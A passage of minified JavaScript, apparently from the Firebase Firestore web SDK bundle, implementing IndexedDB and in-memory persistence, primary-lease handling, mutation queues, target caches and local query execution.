transaction:",t),this.Be.runTransaction(t,"readonly"===e?"readonly":"readwrite",Fg,function(o){return r=new Yg(o,i.Ne?i.Ne.next():Wd.o),"readwrite-primary"===e?i.Je(r).next(function(t){return!!t||i.Ye(r)}).next(function(e){if(!e)throw Yd("Failed to obtain primary lease for action '"+t+"'."),i.isPrimary=!1,i.Se.enqueueRetryable(function(){return i.Me(!1)}),new $d(Kd.FAILED_PRECONDITION,Vg);return n(r)}).next(function(t){return i.Ze(r).next(function(){return t})}):i.dn(r).next(function(){return n(r)})}).then(function(t){return r.raiseOnCommittedEvent(),t})},t.prototype.dn=function(t){var e=this;return Jm(t).get(xg.key).next(function(t){if(null!==t&&e.sn(t.leaseTimestampMs,5e3)&&!e.cn(t.ownerId)&&!e.tn(t)&&!(e.Ce||e.allowTabSynchronization&&t.allowTabSynchronization))throw new $d(Kd.FAILED_PRECONDITION,Zm)})},t.prototype.Ze=function(t){var e=new xg(this.clientId,this.allowTabSynchronization,Date.now());return Jm(t).put(xg.key,e)},t.yt=function(){return Ug.yt()},t.prototype.Xe=function(t){var e=this,n=Jm(t);return n.get(xg.key).next(function(t){return e.tn(t)?(Zd("IndexedDbPersistence","Releasing primary lease."),n.delete(xg.key)):zg.resolve()})},t.prototype.sn=function(t,e){var n=Date.now();return!(t<n-e||t>n&&(Yd("Detected an update time that is in the future: "+t+" > "+n),1))},t.prototype.We=function(){var t=this;null!==this.document&&"function"==typeof this.document.addEventListener&&(this.ke=function(){t.Se.enqueueAndForget(function(){return t.inForeground="visible"===t.document.visibilityState,t.je()})},this.document.addEventListener("visibilitychange",this.ke),this.inForeground="visible"===this.document.visibilityState)},t.prototype.an=function(){this.ke&&(this.document.removeEventListener("visibilitychange",this.ke),this.ke=null)},t.prototype.Ge=function(){var t,e=this;"function"==typeof(null===(t=this.window)||void 0===t?void 0:t.addEventListener)&&(this.Fe=function(){e.un(),e.Se.enqueueAndForget(function(){return e.shutdown()})},this.window.addEventListener("pagehide",this.Fe))},t.prototype.hn=function(){this.Fe&&(this.window.removeEventListener("pagehide",this.Fe),this.Fe=null)},t.prototype.cn=function(t){var e;try{var n=null!==(null===(e=this.Ke)||void 0===e?void 0:e.getItem(this.on(t)));return Zd("IndexedDbPersistence","Client '"+t+"' "+(n?"is":"is not")+" zombied in LocalStorage"),n}catch(r){return Yd("IndexedDbPersistence","Failed to get zombied client id.",r),!1}},t.prototype.un=function(){if(this.Ke)try{this.Ke.setItem(this.on(this.clientId),String(Date.now()))}catch(ya){Yd("Failed to set zombie client id.",ya)}},t.prototype.ln=function(){if(this.Ke)try{this.Ke.removeItem(this.on(this.clientId))}catch(ya){}},t.prototype.on=function(t){return"firestore_zombie_"+this.persistenceKey+"_"+t},t}();function Jm(t){return Jg(t,xg.store)}function ty(t){return Jg(t,Rg.store)}function ey(t,e){var n=t.projectId;return t.isDefaultDatabase||(n+="."+t.database),"firestore/"+e+"/"+n+"/"}var ny=function(t,e){this.progress=t,this.wn=e},ry=function(){function t(t,e,n){this.Ue=t,this._n=e,this.Ut=n}return t.prototype.mn=function(t,e){var n=this;return this._n.getAllMutationBatchesAffectingDocumentKey(t,e).next(function(r){return n.yn(t,e,r)})},t.prototype.yn=function(t,e,n){return this.Ue.getEntry(t,e).next(function(t){for(var e=0,r=n;e<r.length;e++)r[e].applyToLocalView(t);return t})},t.prototype.gn=function(t,e){t.forEach(function(t,n){for(var r=0,i=e;r<i.length;r++)i[r].applyToLocalView(n)})},t.prototype.pn=function(t,e){var n=this;return this.Ue.getEntries(t,e).next(function(e){return n.En(t,e).next(function(){return e})})},t.prototype.En=function(t,e){var n=this;return this._n.getAllMutationBatchesAffectingDocumentKeys(t,e).next(function(t){return n.gn(e,t)})},t.prototype.getDocumentsMatchingQuery=function(t,e,n){return Ih.isDocumentKey((r=e).path)&&null===r.collectionGroup&&0===r.filters.length?this.Tn(t,e.path):Cp(e)?this.In(t,e,n):this.An(t,e,n);var r},t.prototype.Tn=function(t,e){return this.mn(t,new Ih(e)).next(function(t){var e=xf();return t.isFoundDocument()&&(e=e.insert(t.key,t)),e})},t.prototype.In=function(t,e,n){var r=this,i=e.collectionGroup,o=xf();return this.Ut.getCollectionParents(t,i).next(function(s){return zg.forEach(s,function(s){var a,c,l=(a=e,c=s.child(i),new fp(c,null,a.explicitOrderBy.slice(),a.filters.slice(),a.limit,a.limitType,a.startAt,a.endAt));return r.An(t,l,n).next(function(t){t.forEach(function(t,e){o=o.insert(t,e)})})}).next(function(){return o})})},t.prototype.An=function(t,e,n){var r,i,o=this;return this.Ue.getDocumentsMatchingQuery(t,e,n).next(function(n){return r=n,o._n.getAllMutationBatchesAffectingQuery(t,e)}).next(function(e){return o.Rn(t,i=e,r).next(function(t){r=t;for(var e=0,n=i;e<n.length;e++)for(var o=n[e],s=0,a=o.mutations;s<a.length;s++){var c=a[s],l=c.key,u=r.get(l);null==u&&(u=Kh.newInvalidDocument(l),r=r.insert(l,u)),Yp(c,u,o.localWriteTime),u.isFoundDocument()||(r=r.remove(l))}})}).next(function(){return r.forEach(function(t,n){Ep(e,n)||(r=r.remove(t))}),r})},t.prototype.Rn=function(t,e,n){for(var r=Of(),i=0,o=e;i<o.length;i++)for(var s=0,a=o[i].mutations;s<a.length;s++){var c=a[s];c instanceof rf&&null===n.get(c.key)&&(r=r.add(c.key))}var l=n;return this.Ue.getEntries(t,r).next(function(t){return t.forEach(function(t,e){e.isFoundDocument()&&(l=l.insert(t,e))}),l})},t}(),iy=function(){function t(t,e,n,r){this.targetId=t,this.fromCache=e,this.bn=n,this.vn=r}return t.Pn=function(e,n){for(var r=Of(),i=Of(),o=0,s=n.docChanges;o<s.length;o++){var a=s[o];switch(a.type){case 0:r=r.add(a.doc.key);break;case 1:i=i.add(a.doc.key)}}return new t(e,n.fromCache,r,i)},t}(),oy=function(){function t(){}return t.prototype.Vn=function(t){this.Sn=t},t.prototype.getDocumentsMatchingQuery=function(t,e,n,r){var i,o=this;return 0===(i=e).filters.length&&null===i.limit&&null==i.startAt&&null==i.endAt&&(0===i.explicitOrderBy.length||1===i.explicitOrderBy.length&&i.explicitOrderBy[0].field.isKeyField())||n.isEqual(uh.min())?this.Dn(t,e):this.Sn.pn(t,r).next(function(i){var s=o.Cn(e,i);return(yp(e)||bp(e))&&o.Nn(e.limitType,s,r,n)?o.Dn(t,e):(Xd()<=La.in.DEBUG&&Zd("QueryEngine","Re-using previous result from %s to execute query: %s",n.toString(),Op(e)),o.Sn.getDocumentsMatchingQuery(t,e,n).next(function(t){return s.forEach(function(e){t=t.insert(e.key,e)}),t}))})},t.prototype.Cn=function(t,e){var n=new bf(Tp(t));return e.forEach(function(e,r){Ep(t,r)&&(n=n.add(r))}),n},t.prototype.Nn=function(t,e,n,r){if(n.size!==e.size)return!0;var i="F"===t?e.last():e.first();return!!i&&(i.hasPendingWrites||i.version.compareTo(r)>0)},t.prototype.Dn=function(t,e){return Xd()<=La.in.DEBUG&&Zd("QueryEngine","Using full collection scan to execute query:",Op(e)),this.Sn.getDocumentsMatchingQuery(t,e,uh.min())},t}(),sy=function(){function t(t,e,n,r){this.persistence=t,this.xn=e,this.R=r,this.Fn=new gf(sh),this.kn=new zm(function(t){return Xh(t)},Zh),this.$n=uh.min(),this._n=t.getMutationQueue(n),this.On=t.getRemoteDocumentCache(),this.qe=t.getTargetCache(),this.Mn=new ry(this.On,this._n,this.persistence.getIndexManager()),this.Qe=t.getBundleCache(),this.xn.Vn(this.Mn)}return t.prototype.collectGarbage=function(t){var e=this;return this.persistence.runTransaction("Collect garbage","readwrite-primary",function(n){return t.collect(n,e.Fn)})},t}();function ay(t,e,n,r){return new sy(t,e,n,r)}function cy(t,e){return(0,Zo.mG)(this,void 0,void 0,function(){var n,r,i,o;return(0,Zo.Jh)(this,function(s){switch(s.label){case 0:return n=rh(t),r=n._n,i=n.Mn,[4,n.persistence.runTransaction("Handle user change","readonly",function(t){var o;return n._n.getAllMutationBatches(t).next(function(s){return o=s,r=n.persistence.getMutationQueue(e),i=new ry(n.On,r,n.persistence.getIndexManager()),r.getAllMutationBatches(t)}).next(function(e){for(var n=[],r=[],s=Of(),a=0,c=o;a<c.length;a++){var l=c[a];n.push(l.batchId);for(var u=0,d=l.mutations;u<d.length;u++)s=s.add(d[u].key)}for(var h=0,p=e;h<p.length;h++){var f=p[h];r.push(f.batchId);for(var g=0,m=f.mutations;g<m.length;g++)s=s.add(m[g].key)}return i.pn(t,s).next(function(t){return{Ln:t,removedBatchIds:n,addedBatchIds:r}})})})];case 1:return o=s.sent(),[2,(n._n=r,n.Mn=i,n.xn.Vn(n.Mn),o)]}})})}function ly(t,e){var n=rh(t);return n.persistence.runTransaction("Acknowledge batch","readwrite-primary",function(t){var r,i,o,s,a,c,l,u=e.batch.keys(),d=n.On.newChangeBuffer({trackRemovals:!0});return(r=n,i=t,o=e,s=d,a=o.batch,c=a.keys(),l=zg.resolve(),c.forEach(function(t){l=l.next(function(){return s.getEntry(i,t)}).next(function(e){var n=o.docVersions.get(t);nh(null!==n),e.version.compareTo(n)<0&&(a.applyToRemoteDocument(e,o),e.isValidDocument()&&s.addEntry(e,o.commitVersion))})}),l.next(function(){return r._n.removeMutationBatch(i,a)})).next(function(){return d.apply(t)}).next(function(){return n._n.performConsistencyCheck(t)}).next(function(){return n.Mn.pn(t,u)})})}function uy(t){var e=rh(t);return e.persistence.runTransaction("Get last remote snapshot version","readonly",function(t){return e.qe.getLastRemoteSnapshotVersion(t)})}function dy(t,e){var n=rh(t),r=e.snapshotVersion,i=n.Fn;return n.persistence.runTransaction("Apply remote event","readwrite-primary",function(t){var o=n.On.newChangeBuffer({trackRemovals:!0});i=n.Fn;var s=[];e.targetChanges.forEach(function(e,o){var a,c,l,u=i.get(o);if(u){s.push(n.qe.removeMatchingKeys(t,e.removedDocuments,o).next(function(){return n.qe.addMatchingKeys(t,e.addedDocuments,o)}));var d=e.resumeToken;if(d.approximateByteSize()>0){var h=u.withResumeToken(d,r).withSequenceNumber(t.currentSequenceNumber);i=i.insert(o,h),a=u,l=e,nh((c=h).resumeToken.approximateByteSize()>0),(0===a.resumeToken.approximateByteSize()||c.snapshotVersion.toMicroseconds()-a.snapshotVersion.toMicroseconds()>=3e8||l.addedDocuments.size+l.modifiedDocuments.size+l.removedDocuments.size>0)&&s.push(n.qe.updateTargetData(t,h))}}});var a=Cf();if(e.documentUpdates.forEach(function(r,i){e.resolvedLimboDocuments.has(r)&&s.push(n.persistence.referenceDelegate.updateLimboDocument(t,r))}),s.push(hy(t,o,e.documentUpdates,r,void 0).next(function(t){a=t})),!r.isEqual(uh.min())){var c=n.qe.getLastRemoteSnapshotVersion(t).next(function(e){return n.qe.setTargetsMetadata(t,t.currentSequenceNumber,r)});s.push(c)}return zg.waitFor(s).next(function(){return o.apply(t)}).next(function(){return n.Mn.En(t,a)}).next(function(){return a})}).then(function(t){return n.Fn=i,t})}function hy(t,e,n,r,i){var o=Of();return n.forEach(function(t){return o=o.add(t)}),e.getEntries(t,o).next(function(t){var o=Cf();return n.forEach(function(n,s){var a=t.get(n),c=(null==i?void 0:i.get(n))||r;s.isNoDocument()&&s.version.isEqual(uh.min())?(e.removeEntry(n,c),o=o.insert(n,s)):!a.isValidDocument()||s.version.compareTo(a.version)>0||0===s.version.compareTo(a.version)&&a.hasPendingWrites?(e.addEntry(s,c),o=o.insert(n,s)):Zd("LocalStore","Ignoring outdated watch update for ",n,". Current version:",a.version," Watch version:",s.version)}),o})}function py(t,e){var n=rh(t);return n.persistence.runTransaction("Get next mutation batch","readonly",function(t){return void 0===e&&(e=-1),n._n.getNextMutationBatchAfterBatchId(t,e)})}function fy(t,e){var n=rh(t);return n.persistence.runTransaction("Allocate target","readwrite",function(t){var r;return n.qe.getTargetData(t,e).next(function(i){return i?zg.resolve(r=i):n.qe.allocateTargetId(t).next(function(i){return r=new nm(e,i,0,t.currentSequenceNumber),n.qe.addTargetData(t,r).next(function(){return r})})})}).then(function(t){var r=n.Fn.get(t.targetId);return(null===r||t.snapshotVersion.compareTo(r.snapshotVersion)>0)&&(n.Fn=n.Fn.insert(t.targetId,t),n.kn.set(e,t.targetId)),t})}function gy(t,e,n){return(0,Zo.mG)(this,void 0,void 0,function(){var r,i,o,s;return(0,Zo.Jh)(this,function(a){switch(a.label){case 0:r=rh(t),i=r.Fn.get(e),o=n?"readwrite":"readwrite-primary",a.label=1;case 1:return a.trys.push([1,4,,5]),n?[3,3]:[4,r.persistence.runTransaction("Release target",o,function(t){return r.persistence.referenceDelegate.removeTarget(t,i)})];case 2:a.sent(),a.label=3;case 3:return[3,5];case 4:if(!Kg(s=a.sent()))throw s;return Zd("LocalStore","Failed to update sequence numbers for target "+e+": "+s),[3,5];case 5:return r.Fn=r.Fn.remove(e),r.kn.delete(i.target),[2]}})})}function my(t,e,n){var r=rh(t),i=uh.min(),o=Of();return r.persistence.runTransaction("Execute query","readonly",function(t){return(s=r,a=t,c=xp(e),l=rh(s),u=l.kn.get(c),void 0!==u?zg.resolve(l.Fn.get(u)):l.qe.getTargetData(a,c)).next(function(e){if(e)return i=e.lastLimboFreeSnapshotVersion,r.qe.getMatchingKeysForTargetId(t,e.targetId).next(function(t){o=t})}).next(function(){return r.xn.getDocumentsMatchingQuery(t,e,n?i:uh.min(),n?o:Of())}).next(function(t){return{documents:t,Bn:o}});var s,a,c,l,u})}function yy(t,e){var n=rh(t),r=rh(n.qe),i=n.Fn.get(e);return i?Promise.resolve(i.target):n.persistence.runTransaction("Get target data","readonly",function(t){return r.lt(t,e).next(function(t){return t?t.target:null})})}function by(t){var e=rh(t);return e.persistence.runTransaction("Get new document changes","readonly",function(t){return n=t,r=e.$n,i=rh(e.On),o=Cf(),s=sm(r),a=Km(n),c=IDBKeyRange.lowerBound(s,!0),a.$t({index:Tg.readTimeIndex,range:c},function(t,e){var n=im(i.R,e);o=o.insert(n.key,n),s=e.readTime}).next(function(){return{wn:o,readTime:am(s)}});var n,r,i,o,s,a,c}).then(function(t){var n=t.wn;return e.$n=t.readTime,n})}function vy(t){return(0,Zo.mG)(this,void 0,void 0,function(){var e;return(0,Zo.Jh)(this,function(n){return[2,(e=rh(t)).persistence.runTransaction("Synchronize last document change read time","readonly",function(t){return e=Km(t),n=uh.min(),e.$t({index:Tg.readTimeIndex,reverse:!0},function(t,e,r){e.readTime&&(n=am(e.readTime)),r.done()}).next(function(){return n});var e,n}).then(function(t){e.$n=t})]})})}function _y(t,e,n,r){return(0,Zo.mG)(this,void 0,void 0,function(){var i,o,s,a,c,l,u,d,h,p;return(0,Zo.Jh)(this,function(f){switch(f.label){case 0:for(i=rh(t),o=Of(),s=Cf(),a=Sf(),c=0,l=n;c<l.length;c++)d=e.qn((u=l[c]).metadata.name),u.document&&(o=o.add(d)),s=s.insert(d,e.Un(u)),a=a.insert(d,e.Qn(u.metadata.readTime));return h=i.On.newChangeBuffer({trackRemovals:!0}),[4,fy(i,(g=r,xp(mp(gh.fromString("__bundle__/docs/"+g)))))];case 1:return p=f.sent(),[2,i.persistence.runTransaction("Apply bundle documents","readwrite",function(t){return hy(t,h,s,uh.min(),a).next(function(e){return h.apply(t),e}).next(function(e){return i.qe.removeMatchingKeysForTargetId(t,p.targetId).next(function(){return i.qe.addMatchingKeys(t,o,p.targetId)}).next(function(){return i.Mn.En(t,e)}).next(function(){return e})})})]}var g})})}function Cy(t,e,n){return void 0===n&&(n=Of()),(0,Zo.mG)(this,void 0,void 0,function(){var r,i;return(0,Zo.Jh)(this,function(o){switch(o.label){case 0:return[4,fy(t,xp(pm(e.bundledQuery)))];case 1:return r=o.sent(),[2,(i=rh(t)).persistence.runTransaction("Save named query","readwrite",function(t){var o=qf(e.readTime);if(r.snapshotVersion.compareTo(o)>=0)return i.Qe.saveNamedQuery(t,e);var s=r.withResumeToken(vh.EMPTY_BYTE_STRING,o);return i.Fn=i.Fn.insert(s.targetId,s),i.qe.updateTargetData(t,s).next(function(){return i.qe.removeMatchingKeysForTargetId(t,r.targetId)}).next(function(){return i.qe.addMatchingKeys(t,n,r.targetId)}).next(function(){return i.Qe.saveNamedQuery(t,e)})})]}})})}var wy=function(){function t(t){this.R=t,this.Kn=new Map,this.jn=new Map}return t.prototype.getBundleMetadata=function(t,e){return zg.resolve(this.Kn.get(e))},t.prototype.saveBundleMetadata=function(t,e){var n;return this.Kn.set(e.id,{id:(n=e).id,version:n.version,createTime:qf(n.createTime)}),zg.resolve()},t.prototype.getNamedQuery=function(t,e){return zg.resolve(this.jn.get(e))},t.prototype.saveNamedQuery=function(t,e){return this.jn.set(e.name,{name:(n=e).name,query:pm(n.bundledQuery),readTime:qf(n.readTime)}),zg.resolve();var n},t}(),xy=function(){function t(){this.Wn=new bf(Py.Gn),this.zn=new bf(Py.Hn)}return t.prototype.isEmpty=function(){return this.Wn.isEmpty()},t.prototype.addReference=function(t,e){var n=new Py(t,e);this.Wn=this.Wn.add(n),this.zn=this.zn.add(n)},t.prototype.Jn=function(t,e){var n=this;t.forEach(function(t){return n.addReference(t,e)})},t.prototype.removeReference=function(t,e){this.Yn(new Py(t,e))},t.prototype.Xn=function(t,e){var n=this;t.forEach(function(t){return n.removeReference(t,e)})},t.prototype.Zn=function(t){var e=this,n=new Ih(new gh([])),r=new Py(n,t),i=new Py(n,t+1),o=[];return this.zn.forEachInRange([r,i],function(t){e.Yn(t),o.push(t.key)}),o},t.prototype.ts=function(){var t=this;this.Wn.forEach(function(e){return t.Yn(e)})},t.prototype.Yn=function(t){this.Wn=this.Wn.delete(t),this.zn=this.zn.delete(t)},t.prototype.es=function(t){var e=new Ih(new gh([])),n=new Py(e,t),r=new Py(e,t+1),i=Of();return this.zn.forEachInRange([n,r],function(t){i=i.add(t.key)}),i},t.prototype.containsKey=function(t){var e=new Py(t,0),n=this.Wn.firstAfterOrEqual(e);return null!==n&&t.isEqual(n.key)},t}(),Py=function(){function t(t,e){this.key=t,this.ns=e}return t.Gn=function(t,e){return Ih.comparator(t.key,e.key)||sh(t.ns,e.ns)},t.Hn=function(t,e){return sh(t.ns,e.ns)||Ih.comparator(t.key,e.key)},t}(),Sy=function(){function t(t,e){this.Ut=t,this.referenceDelegate=e,this._n=[],this.ss=1,this.rs=new bf(Py.Gn)}return t.prototype.checkEmpty=function(t){return zg.resolve(0===this._n.length)},t.prototype.addMutationBatch=function(t,e,n,r){var i=this.ss;this.ss++;var o=new tm(i,e,n,r);this._n.push(o);for(var s=0,a=r;s<a.length;s++){var c=a[s];this.rs=this.rs.add(new Py(c.key,i)),this.Ut.addToCollectionParentIndex(t,c.key.path.popLast())}return zg.resolve(o)},t.prototype.lookupMutationBatch=function(t,e){return zg.resolve(this.os(e))},t.prototype.getNextMutationBatchAfterBatchId=function(t,e){var n=this.cs(e+1),r=n<0?0:n;return zg.resolve(this._n.length>r?this._n[r]:null)},t.prototype.getHighestUnacknowledgedBatchId=function(){return zg.resolve(0===this._n.length?-1:this.ss-1)},t.prototype.getAllMutationBatches=function(t){return zg.resolve(this._n.slice())},t.prototype.getAllMutationBatchesAffectingDocumentKey=function(t,e){var n=this,r=new Py(e,0),i=new Py(e,Number.POSITIVE_INFINITY),o=[];return this.rs.forEachInRange([r,i],function(t){var e=n.os(t.ns);o.push(e)}),zg.resolve(o)},t.prototype.getAllMutationBatchesAffectingDocumentKeys=function(t,e){var n=this,r=new bf(sh);return e.forEach(function(t){var e=new Py(t,0),i=new Py(t,Number.POSITIVE_INFINITY);n.rs.forEachInRange([e,i],function(t){r=r.add(t.ns)})}),zg.resolve(this.us(r))},t.prototype.getAllMutationBatchesAffectingQuery=function(t,e){var n=e.path,r=n.length+1,i=n;Ih.isDocumentKey(i)||(i=i.child(""));var o=new Py(new Ih(i),0),s=new bf(sh);return this.rs.forEachWhile(function(t){var e=t.key.path;return!!n.isPrefixOf(e)&&(e.length===r&&(s=s.add(t.ns)),!0)},o),zg.resolve(this.us(s))},t.prototype.us=function(t){var e=this,n=[];return t.forEach(function(t){var r=e.os(t);null!==r&&n.push(r)}),n},t.prototype.removeMutationBatch=function(t,e){var n=this;nh(0===this.hs(e.batchId,"removed")),this._n.shift();var r=this.rs;return zg.forEach(e.mutations,function(i){var o=new Py(i.key,e.batchId);return r=r.delete(o),n.referenceDelegate.markPotentiallyOrphaned(t,i.key)}).next(function(){n.rs=r})},t.prototype.Gt=function(t){},t.prototype.containsKey=function(t,e){var n=new Py(e,0),r=this.rs.firstAfterOrEqual(n);return zg.resolve(e.isEqual(r&&r.key))},t.prototype.performConsistencyCheck=function(t){return zg.resolve()},t.prototype.hs=function(t,e){return this.cs(t)},t.prototype.cs=function(t){return 0===this._n.length?0:t-this._n[0].batchId},t.prototype.os=function(t){var e=this.cs(t);return e<0||e>=this._n.length?null:this._n[e]},t}(),My=function(){function t(t,e){this.Ut=t,this.ls=e,this.docs=new gf(Ih.comparator),this.size=0}return t.prototype.addEntry=function(t,e,n){var r=e.key,i=this.docs.get(r),o=i?i.size:0,s=this.ls(e);return this.docs=this.docs.insert(r,{document:e.clone(),size:s,readTime:n}),this.size+=s-o,this.Ut.addToCollectionParentIndex(t,r.path.popLast())},t.prototype.removeEntry=function(t){var e=this.docs.get(t);e&&(this.docs=this.docs.remove(t),this.size-=e.size)},t.prototype.getEntry=function(t,e){var n=this.docs.get(e);return zg.resolve(n?n.document.clone():Kh.newInvalidDocument(e))},t.prototype.getEntries=function(t,e){var n=this,r=Cf();return e.forEach(function(t){var e=n.docs.get(t);r=r.insert(t,e?e.document.clone():Kh.newInvalidDocument(t))}),zg.resolve(r)},t.prototype.getDocumentsMatchingQuery=function(t,e,n){for(var r=Cf(),i=new Ih(e.path.child("")),o=this.docs.getIteratorFrom(i);o.hasNext();){var s=o.getNext(),a=s.value,c=a.document,l=a.readTime;if(!e.path.isPrefixOf(s.key.path))break;l.compareTo(n)<=0||Ep(e,c)&&(r=r.insert(c.key,c.clone()))}return zg.resolve(r)},t.prototype.fs=function(t,e){return zg.forEach(this.docs,function(t){return e(t)})},t.prototype.newChangeBuffer=function(t){return new Oy(this)},t.prototype.getSize=function(t){return zg.resolve(this.size)},t}(),Oy=function(t){function e(e){var n=this;return(n=t.call(this)||this).Ie=e,n}return(0,Zo.ZT)(e,t),e.prototype.applyChanges=function(t){var e=this,n=[];return this.changes.forEach(function(r,i){i.document.isValidDocument()?n.push(e.Ie.addEntry(t,i.document,e.getReadTime(r))):e.Ie.removeEntry(r)}),zg.waitFor(n)},e.prototype.getFromCache=function(t,e){return this.Ie.getEntry(t,e)},e.prototype.getAllFromCache=function(t,e){return this.Ie.getEntries(t,e)},e}(Gm),Ey=function(){function t(t){this.persistence=t,this.ds=new zm(function(t){return Xh(t)},Zh),this.lastRemoteSnapshotVersion=uh.min(),this.highestTargetId=0,this.ws=0,this._s=new xy,this.targetCount=0,this.ys=Im.Jt()}return t.prototype.forEachTarget=function(t,e){return this.ds.forEach(function(t,n){return e(n)}),zg.resolve()},t.prototype.getLastRemoteSnapshotVersion=function(t){return zg.resolve(this.lastRemoteSnapshotVersion)},t.prototype.getHighestSequenceNumber=function(t){return zg.resolve(this.ws)},t.prototype.allocateTargetId=function(t){return this.highestTargetId=this.ys.next(),zg.resolve(this.highestTargetId)},t.prototype.setTargetsMetadata=function(t,e,n){return n&&(this.lastRemoteSnapshotVersion=n),e>this.ws&&(this.ws=e),zg.resolve()},t.prototype.te=function(t){this.ds.set(t.target,t);var e=t.targetId;e>this.highestTargetId&&(this.ys=new Im(e),this.highestTargetId=e),t.sequenceNumber>this.ws&&(this.ws=t.sequenceNumber)},t.prototype.addTargetData=function(t,e){return this.te(e),this.targetCount+=1,zg.resolve()},t.prototype.updateTargetData=function(t,e){return this.te(e),zg.resolve()},t.prototype.removeTargetData=function(t,e){return this.ds.delete(e.target),this._s.Zn(e.targetId),this.targetCount-=1,zg.resolve()},t.prototype.removeTargets=function(t,e,n){var r=this,i=0,o=[];return this.ds.forEach(function(s,a){a.sequenceNumber<=e&&null===n.get(a.targetId)&&(r.ds.delete(s),o.push(r.removeMatchingKeysForTargetId(t,a.targetId)),i++)}),zg.waitFor(o).next(function(){return i})},t.prototype.getTargetCount=function(t){return zg.resolve(this.targetCount)},t.prototype.getTargetData=function(t,e){var n=this.ds.get(e)||null;return zg.resolve(n)},t.prototype.addMatchingKeys=function(t,e,n){return this._s.Jn(e,n),zg.resolve()},t.prototype.removeMatchingKeys=function(t,e,n){this._s.Xn(e,n);var r=this.persistence.referenceDelegate,i=[];return r&&e.forEach(function(e){i.push(r.markPotentiallyOrphaned(t,e))}),zg.waitFor(i)},t.prototype.removeMatchingKeysForTargetId=function(t,e){return this._s.Zn(e),zg.resolve()},t.prototype.getMatchingKeysForTargetId=function(t,e){var n=this._s.es(e);return zg.resolve(n)},t.prototype.containsKey=function(t,e){return zg.resolve(this._s.containsKey(e))},t}(),Ty=function(){function t(t,e){var n=this;this.gs={},this.Ne=new Wd(0),this.xe=!1,this.xe=!0,this.referenceDelegate=t(this),this.qe=new Ey(this),this.Ut=new ym,this.Ue=new My(this.Ut,function(t){return n.referenceDelegate.ps(t)}),this.R=new rm(e),this.Qe=new wy(this.R)}return t.prototype.start=function(){return Promise.resolve()},t.prototype.shutdown=function(){return this.xe=!1,Promise.resolve()},Object.defineProperty(t.prototype,"started",{get:function(){return this.xe},enumerable:!1,configurable:!0}),t.prototype.setDatabaseDeletedListener=function(){},t.prototype.setNetworkEnabled=function(){},t.prototype.getIndexManager=function(){return this.Ut},t.prototype.getMutationQueue=function(t){var e=this.gs[t.toKey()];return e||(e=new Sy(this.Ut,this.referenceDelegate),this.gs[t.toKey()]=e),e},t.prototype.getTargetCache=function(){return this.qe},t.prototype.getRemoteDocumentCache=function(){return this.Ue},t.prototype.getBundleCache=function(){return this.Qe},t.prototype.runTransaction=function(t,e,n){var r=this;Zd("MemoryPersistence","Starting transaction:",t);var i=new Iy(this.Ne.next());return this.referenceDelegate.Es(),n(i).next(function(t){return r.referenceDelegate.Ts(i).next(function(){return t})}).toPromise().then(function(t){return i.raiseOnCommittedEvent(),t})},t.prototype.Is=function(t,e){return zg.or(Object.values(this.gs).map(function(n){return function(){return n.containsKey(t,e)}}))},t}(),Iy=function(t){function e(e){var n=this;return(n=t.call(this)||this).currentSequenceNumber=e,n}return(0,Zo.ZT)(e,t),e}(Bg),ky=function(){function t(t){this.persistence=t,this.As=new xy,this.Rs=null}return t.bs=function(e){return new t(e)},Object.defineProperty(t.prototype,"vs",{get:function(){if(this.Rs)return this.Rs;throw eh()},enumerable:!1,configurable:!0}),t.prototype.addReference=function(t,e,n){return this.As.addReference(n,e),this.vs.delete(n.toString()),zg.resolve()},t.prototype.removeReference=function(t,e,n){return this.As.removeReference(n,e),this.vs.add(n.toString()),zg.resolve()},t.prototype.markPotentiallyOrphaned=function(t,e){return this.vs.add(e.toString()),zg.resolve()},t.prototype.removeTarget=function(t,e){var n=this;this.As.Zn(e.targetId).forEach(function(t){return n.vs.add(t.toString())});var r=this.persistence.getTargetCache();return r.getMatchingKeysForTargetId(t,e.targetId).next(function(t){t.forEach(function(t){return n.vs.add(t.toString())})}).next(function(){return r.removeTargetData(t,e)})},t.prototype.Es=function(){this.Rs=new Set},t.prototype.Ts=function(t){var e=this,n=this.persistence.getRemoteDocumentCache().newChangeBuffer();return zg.forEach(this.vs,function(r){var i=Ih.fromPath(r);return e.Ps(t,i).next(function(t){t||n.removeEntry(i)})}).next(function(){return e.Rs=null,n.apply(t)})},t.prototype.updateLimboDocument=function(t,e){var n=this;return this.Ps(t,e).next(function(t){t?n.vs.delete(e.toString()):n.vs.add(e.toString())})},t.prototype.ps=function(t){return 0},t.prototype.Ps=function(t,e){var n=this;return zg.or([function(){return zg.resolve(n.As.containsKey(e))},function(){return n.persistence.getTargetCache().containsKey(t,e)},function(){return n.persistence.Is(t,e)}])},t}(),Ay=function(){function t(t){this.uid=t}return t.prototype.isAuthenticated=function(){return null!=this.uid},t.prototype.toKey=function(){return this.isAuthenticated()?"uid:"+this.uid:"anonymous-user"},t.prototype.isEqual=function(t){return t.uid===this.uid},t}();function Dy(t,e){return"firestore_clients_"+t+"_"+e}function Ny(t,e,n){var r="firestore_mutations_"+t+"_"+n;return e.isAuthenticated()&&(r+="_"+e.uid),r}function Ry(t,e){return"firestore_targets_"+t+"_"+e}Ay.UNAUTHENTICATED=new Ay(null),Ay.GOOGLE_CREDENTIALS=new Ay("google-credentials-uid"),Ay.FIRST_PARTY=new Ay("first-party-uid");var Ly=function(){function t(t,e,n,r){this.user=t,this.batchId=e,this.state=n,this.error=r}return t.Vs=function(e,n,r){var i,o=JSON.parse(r),s="object"==typeof o&&-1!==["pending","acknowledged","rejected"].indexOf(o.state)&&(void 0===o.error||"object"==typeof o.error);return s&&o.error&&(s="string"==typeof o.error.message&&"string"==typeof o.error.code)&&(i=new $d(o.error.code,o.error.message)),s?new t(e,n,o.state,i):(Yd("SharedClientState","Failed to parse mutation state for ID '"+n+"': "+r),null)},t.prototype.Ss=function(){var t={state:this.state,updateTimeMs:Date.now()};return this.error&&(t.error={code:this.error.code,message:this.error.message}),JSON.stringify(t)},t}(),jy=function(){function t(t,e,n){this.targetId=t,this.state=e,this.error=n}return t.Vs=function(e,n){var r,i=JSON.parse(n),o="object"==typeof i&&-1!==["not-current","current","rejected"].indexOf(i.state)&&(void 0===i.error||"object"==typeof i.error);return o&&i.error&&(o="string"==typeof i.error.message&&"string"==typeof i.error.code)&&(r=new $d(i.error.code,i.error.message)),o?new t(e,i.state,r):(Yd("SharedClientState","Failed to parse target state for ID '"+e+"': "+n),null)},t.prototype.Ss=function(){var t={state:this.state,updateTimeMs:Date.now()};return 